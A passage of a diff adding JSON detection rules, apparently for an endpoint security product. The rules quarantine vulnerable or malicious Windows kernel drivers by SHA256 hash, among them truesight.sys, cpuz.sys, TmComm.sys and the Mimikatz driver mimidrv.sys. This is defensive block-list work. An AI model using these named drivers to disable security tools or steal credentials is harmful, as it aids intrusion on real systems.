+  "last_update": "2026-03-23T11:45:30.831695Z",
+  "creation_date": "2026-03-23T11:45:30.831697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a3cf88acf373c48ce7b9994d9178b167c26b78925bec161179c2b67d57cf438",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c73980bc-4860-517e-97f4-2d51f6d7eb4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497633Z",
+  "creation_date": "2026-03-23T11:45:31.497635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32b31efcb4501bbf20ced801dbba29f6bddccf7ff67faa593fc97025ff37f41f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c73b6387-005e-51c7-8d67-ac67f70a17eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610194Z",
+  "creation_date": "2026-03-23T11:45:29.610196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a13578aa1c9896c3753047ea05fd6a98af11044a544b0ad641bf3e15369c7601",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c743cc7b-ffde-5b7f-874d-14ad08b8c347",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461381Z",
+  "creation_date": "2026-03-23T11:45:30.461384Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8ff25255202321bd00f7aa792800e1fb7aab506dca771a4a8e2cc1af265fa15",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c74ec9dc-7e37-584f-94ca-618dd7307e68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814235Z",
+  "creation_date": "2026-03-23T11:45:31.814238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66687204c5683cd336e2af70f36f4bace8f1ea140617586f2bd923d2dcde76b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7533662-92f0-5719-a8a8-2bb1abf870ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498415Z",
+  "creation_date": "2026-03-23T11:45:31.498419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e37c23ba30bfbf296bc6ff82cebd5a007f96e512dce4c384e9330c99b4474d24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c758dfb4-8387-5019-aa04-9be63554c24d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148852Z",
+  "creation_date": "2026-03-23T11:45:31.148854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81430b45a27126a4de491b6afbdd4dcb93b4a03c92490735fa412bfdd907a6ac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c75a0cfd-fc25-5a39-8d76-3c93ee5474fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153310Z",
+  "creation_date": "2026-03-23T11:45:31.153314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc740973f3bb30cdc702f350fadb92a7bfd6b68b1625e96b16c15faadc589e32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7630799-cca9-5177-abed-886926039931",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455528Z",
+  "creation_date": "2026-03-23T11:45:30.455532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec9bd7fb90c3a2aa4605bd73fe1f74399e2cda75fd4c5fff84660ad4f797c4fe",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c764d18c-4400-504c-9778-b43102007609",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971767Z",
+  "creation_date": "2026-03-23T11:45:29.971769Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971774Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09b0e07af8b17db1d896b78da4dd3f55db76738ee1f4ced083a97d737334a184",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c768da48-5ff7-57b1-8771-facb010b3644",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143290Z",
+  "creation_date": "2026-03-23T11:45:31.143292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "688420dc64baecc92f9326418e6f178f60c5468a333ecd68f11618aab2f9612a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c76c3997-a1f6-56f4-ac8a-10635632ef19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463585Z",
+  "creation_date": "2026-03-23T11:45:30.463589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30e083cd7616b1b969a92fd18cf03097735596cce7fcf3254b2ca344e526acc2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c78ea98d-18e1-5e27-9d4a-a8165fb0cefb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473425Z",
+  "creation_date": "2026-03-23T11:45:30.473429Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84c5f6ddd9c90de873236205b59921caabb57ac6f7a506abbe2ce188833bbe51",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c796c22d-ab65-594d-8731-8ce2d9eaa5ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159616Z",
+  "creation_date": "2026-03-23T11:45:31.159618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "722f0f8b1c285e438c4b679d9db4372c6235ee6886a0bd05222db7dfe59497d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7b995d8-f087-57da-8a52-dd073f2b18b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974264Z",
+  "creation_date": "2026-03-23T11:45:29.974266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3847a1ed764ba25361a1748761fd9a1cbb65e42db00094f8ad6def9ac5da4116",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7bca650-ec00-5115-9c31-60c250eb62c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473689Z",
+  "creation_date": "2026-03-23T11:45:30.473692Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5c8521c00f0a9003d3f91abb0b881e8657ba5f5cf74a1223a88499a85916e68",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7c7212a-a7bf-59cf-b59b-ac3a55c40888",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818651Z",
+  "creation_date": "2026-03-23T11:45:31.818655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2891d9f9bd5037598ad6441fb92fbe283afcd5b538f022583cf1bbb881d7a693",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7d38e76-8ce5-5909-86e1-9edb09c7c4f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152109Z",
+  "creation_date": "2026-03-23T11:45:31.152112Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23c787b0a5c706dedf083f0d219ef18ec07a62b33bcd6016e2e66d0b7b3009cc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7d40069-2da6-5e1d-94fe-8303eace72bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488379Z",
+  "creation_date": "2026-03-23T11:45:31.488381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2843834ebfd4c0bc906b90a2f8be6e2b0ced788b8a26296536bcaa8be9ee132f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7db2e31-63dd-52ea-9063-4a214a529482",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608282Z",
+  "creation_date": "2026-03-23T11:45:29.608284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7281a3b0fa9a17b45fb5f2b6ab31e521495a524ad040dfe5591394952a8d5c81",
+  "comment": "Vulnerable Kernel Driver (aka STProcessMonitor.sys) [https://github.com/ANYLNK/STProcessMonitorBYOVD/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7dcdc0b-135a-5f74-968b-701d76ab3af4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145272Z",
+  "creation_date": "2026-03-23T11:45:31.145274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34028d77b89865fca9790769f3f2e8feabd3be85d905ce4abd3f57b1b72561e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7e1bc65-5161-5f0e-82ce-6c50ad5f2c7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973637Z",
+  "creation_date": "2026-03-23T11:45:29.973638Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973644Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e37592a2a415f520438330c32cfbdbd6af594deef5290b2fa4b9722b898ff69",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c7e9a127-fbf0-513c-9931-eaa843568bbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818434Z",
+  "creation_date": "2026-03-23T11:45:30.818436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
